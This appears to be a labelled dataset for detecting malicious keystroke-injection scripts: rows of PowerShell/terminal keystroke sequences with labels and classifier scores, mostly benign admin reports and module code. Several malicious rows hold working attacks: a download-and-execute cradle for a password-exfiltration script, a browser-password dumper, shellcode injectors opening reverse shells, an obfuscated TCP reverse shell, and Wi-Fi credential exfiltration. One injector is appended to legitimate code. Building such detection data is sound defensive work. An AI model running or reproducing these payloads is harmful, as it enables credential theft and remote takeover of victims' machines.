"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_onhz40qg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_25.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3868426e-05
"win+r powershell enter function Get-DefaultBuildFile { param( [boolean] $UseDefaultIfNoneExist = $tru enter e ) if (test-path $psake.config_default.buildFileName -pathType Leaf) { Writ enter e-Output $psake.config_default.buildFileName } elseif (test-path $psake.config_ enter default.legacyBuildFileName -pathType Leaf) { Write-Warning ""The default config enter uration file of default.ps1 is deprecated. Please use psakefile.ps1"" Write-Outp enter ut $psake.config_default.legacyBuildFileName } elseif ($UseDefaultIfNoneExist) enter { Write-Output $psake.config_default.buildFileName enter",1,1,0.005219224,0.9947807
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_buqp01co"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4639637e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_pdv0c6uv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4778423e-05
win r powershell -exec bypass -nopctrl shift enter enter enter iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/m4ki3lf0/badusbscripts/main/passwordexfiltration/passwordexfiltration.ps1') enter,1,1,7.5895856e-05,0.99992406
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_mjmjaglh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4081422e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_8bwck48w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4295295e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install 1password enter A enter enter enter,0,0,0.99995947,4.0536317e-05
win+r enter delay_medium enter powershell enter enter enter delay_medium enter enter enter delay_medium enter rmdir -R tab emp enter enter enter delay_medium enter mkdir tab emp ; cd tab emp ; Invoke-WebRequest -Uri https://files.catbox.moe/iqlnan.zip -OutFile webpassview.zip ; Expand-Archive webpassview.zip enter enter enter .\webpassview\WebBrowserPassView.exe enter enter enter delay_long enter unknown_key_action CTRL A enter unknown_key_action CTRL S enter delay_medium enter export.html enter tab enter h enter enter enter delay_medium enter alt+f4 enter delay_medium enter Start-Process msedge.exe 'file:///C:/temp/export.htm --inprivate' enter enter enter delay_long enter unknown_key_action ALT TAB enter delay_medium enter cd \ enter enter enter rmdir -R tab emp enter enter enter EXIT enter enter,1,1,5.4937605e-05,0.99994504
"win+r enter powershell enter enter enter $code = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x79,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; enter enter",1,1,5.1333813e-05,0.9999486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_uar8cvx8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.999966,3.4008044e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_hkzzcs73"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.99996614,3.390937e-05
"win+r powershell enter Properties { $ProjectRoot = Resolve-Path $ENV:BHProjectPath if(-not $Project enter Root) { $ProjectRoot = Resolve-Path ""$PSScriptRoot\.."" } $StepVersionBy = $ enter null $Timestamp = Get-date -uformat ""%Y%m%d-%H%M%S"" $PSVersion = $PSVersionTa enter ble.PSVersion.Major enter enter",1,1,0.0053672125,0.99463284
"win+r powershell enter [CmdletBinding()] param( [parameter(Mandatory=$true)] [string]$SiteServer, [ enter parameter(Mandatory=$true)] [string]$MDTServer, [parameter(Mandatory=$true)] enter [string]$MDTDatabase ) function Load-Window { if ((Connect-CMSiteServer -CMSit enter eServer $SiteServer) -eq $true) { enter",1,1,0.0027545218,0.99724555
"win+r powershell enter  function Api-CrudTest { Param($resourceGroupName, $serviceName) $context = enter New-AzApiManagementContext -ResourceGroupName $resourceGroupName -ServiceName $ enter serviceName $apis = Get-AzApiManagementApi -Context $context Assert-AreE enter qual 1 $apis.Count enter enter",1,1,0.008655651,0.99134433
win+r powershell enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve enter ) $manifest = Test-ModuleManifest -Path (Join-Path -Path $PSScriptRoot -ChildPa enter th '..\Carbon\Carbon.psd1' -Resolve) Describe 'CarbonVersion' { $expectedVersio enter n = $null BeforeEach { } It 'carbon assembly version is correct' { $binP enter ath = Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon\bin\*' Get-ChildItem enter -Path $binPath -Include 'Carbon*.dll' | ForEach-Object { enter,1,1,0.001323336,0.9986766
terminal enter curl -o https://mywebsite.com/bella.zip enter unzip bella.zip enter python bella enter rm -rf bella.zip enter rm -rf __macosx enter history -c enter exit enter,1,1,0.00014340269,0.9998566
"win+r enter powershell enter enter enter win r powershell enter cd c: emp enter $e = ""secret password"" enter echo '<?xml version=""1.0""?><wlanprofile xmlns=""http://www.microsoft.com/networking/wlan/profile/v1""><name>o.mg</name><ssidconfig><ssid><name>o.mg</name></ssid></ssidconfig><connectiontype>ess</connectiontype><msm><security><authencryption><authentication>wpa2psk</authentication><encryption>aes</encryption><useonex>false</useonex></authencryption><sharedkey><keytype>passphrase</keytype><protected>false</protected><keymaterial>12345678</keymaterial></sharedkey></security></msm></wlanprofile>' > profile.xml enter netsh wlan add profile ""profile.xml"" enter netsh wlan connect name=o.mg enter $ws = new-object net.websockets.clientwebsocket enter $ct = new-object threading.cancellationtoken($false) enter $connecttask = $ws.connectasync(""ws://192.168.4.1/d/ws/issue"", $ct) enter do { sleep(0.1) } until ($connecttask.iscompleted) enter $ct = new-object threading.cancellationtoken($false) enter $command = ""[custom]ctset`tcaptured`t$e"" enter [arraysegment[byte]]$msg = [text.encoding]::utf8.getbytes($command) enter $ws.sendasync($msg, [system.net.websockets.websocketmessagetype]::binary, $true, $ct).getawaiter().getresult() enter netsh wlan disconnect enter netsh wlan delete profile name=""o.mg"" enter del .\profile.xml enter exit enter enter enter",1,1,0.0010988043,0.9989011
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x4a,0x80,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
# # Module manifest for module 'EntityFramework6' # @{ # Script module or bina enter ry module file associated with this manifest. RootModule = 'EntityFramework6.psm enter 1' # Version number of this module. ModuleVersion = '6.4.4' enter,1,1,0.0011311048,0.9988689
DUCKY_REAL_BEGIN enter REM TITLE: No More Icons enter REM DESCRIPTION: Disables the icons on the desktop enter REM AUTHOR: JustinKras enter REM VERSION: 1.0 enter REM CATEGORY: PRANK enter REM TARGET: Windows 11 enter MENU enter DELAY 10 enter RIGHT enter DOWN enter DOWN enter DOWN enter DOWN enter DOWN enter DELAY 10 enter ENTER enter DUCKY_REAL_END,1,1,6.376295e-05,0.9999362
"win+r enter powershell enter enter enter  enter $TypeAliasTable = @{ enter PSFComputer = ""PSFramework.Parameter.ComputerParameter"" enter PSFComputerParameter = ""PSFramework.Parameter.ComputerParameter"" enter PSFDateTime = ""PSFramework.Parameter.DateTimeParameter"" enter PSFDateTimeParameter = ""PSFramework.Parameter.DateTimeParameter"" enter PSFEncoding = ""PSFramework.Parameter.EncodingParameter"" enter PSFEncodingParameter = ""PSFramework.Parameter.EncodingParameter"" enter psfrgx = ""PSFramework.Utility.RegexHelper"" enter PSFSize = ""PSFramework.Utility.Size"" enter PSFTimeSpan = ""PSFramework.Parameter.TimeSpanParameter"" enter PSFTimeSpanParameter = ""PSFramework.Parameter.TimeSpanParameter"" enter PSFValidatePattern = ""PSFramework.Validation.PsfValidatePatternAttribute"" enter PSFValidateScript = ""PSFramework.Validation.PsfValidateScriptAttribute"" enter PSFValidateSet = ""PSFramework.Validation.PsfValidateSetAttribute"" enter } enter enter Set-PSFTypeAlias -Mapping $TypeAliasTable enter enter",0,0,0.9999403,5.96919e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_q4huct08"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4551384e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_tky5o5pd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_15.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4371886e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_jmspe7n3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter",0,0,0.9999659,3.406446e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_dys45h82"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_150.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3896507e-05
"win+r powershell enter capslock capslock win r powershell -NoP -NonI -w h enter $=[TyPE]('tExT'+'.enCOD'+'InG');$=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient( ADDRESS , PORT );$=$.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($=$.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'Ducky_@PS '+(&('g'+'l'))+'> ';$=($::ASCII).GetBytes($Z);$.Write($,0,$.Length);$.Flush()};$.Close();exit enter capslock enter",1,1,0.000104414255,0.9998956
"win+r powershell enter function Assert-FileExists { [CmdletBinding()] param( [Parameter(Position=0 enter )] [string] $Path, [Parameter(Position=1)] [string] enter enter",1,1,0.0022588025,0.9977412
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_k65gbbln"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999666,3.34284e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_byxzywnx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4344623e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_c6cysjls"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3797987e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_yopjse48"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_200.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3996566e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install chromium enter A enter enter enter,0,0,0.99995995,4.0008174e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_p1lwku8b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.472742e-05
"win+r enter powershell enter enter enter function Get-ShouldProcessTargetWmi enter { enter enter [CmdletBinding()] enter Param ( enter [AllowNull()] enter [object] enter $BoundParameters, enter enter [string] enter $Target enter ) enter enter if ($BoundParameters[""ComputerName""]) enter { enter $Server = $BoundParameters[""ComputerName""] enter } enter elseif ([Microsoft.ReportingServicesTools.ConnectionHost]::ComputerName) enter { enter $Server = [Microsoft.ReportingServicesTools.ConnectionHost]::ComputerName enter } enter else enter { enter $Server = $env:COMPUTERNAME enter } enter enter if ($BoundParameters[""ReportServerVersion""]) enter { enter $Version = $BoundParameters[""ReportServerVersion""] enter } enter else enter { enter $Version = [Microsoft.ReportingServicesTools.ConnectionHost]::Version enter } enter enter if ($BoundParameters[""ReportServerInstance""]) enter { enter $Instance = $BoundParameters[""ReportServerInstance""] enter } enter else enter { enter $Instance = ([Microsoft.ReportingServicesTools.ConnectionHost]::Instance) enter } enter enter if ($PSBoundParameters.ContainsKey(""Target"")) enter { enter return ""$Server ($Version) \ $Instance : $Target"" enter } enter else enter { enter return ""$Server ($Version) \ $Instance"" enter } enter } enter enter function Get-ShouldProcessTargetWeb enter { enter enter [CmdletBinding()] enter Param ( enter [AllowNull()] enter [object] enter $BoundParameters, enter enter [string] enter $Target enter ) enter enter if ($BoundParameters.ContainsKey(""ReportServerUri"")) enter { enter if ($Target) enter { enter return ""$($BoundParameters[""ReportServerUri""]) : $Target"" enter } enter else enter { enter return $BoundParameters[""ReportServerUri""] enter } enter } enter else enter { enter if ($Target) enter { enter return ""$([Microsoft.ReportingServicesTools.ConnectionHost]::ReportServerUri) : $Target"" enter } enter else enter { enter return [Microsoft.ReportingServicesTools.ConnectionHost]::ReportServerUri enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 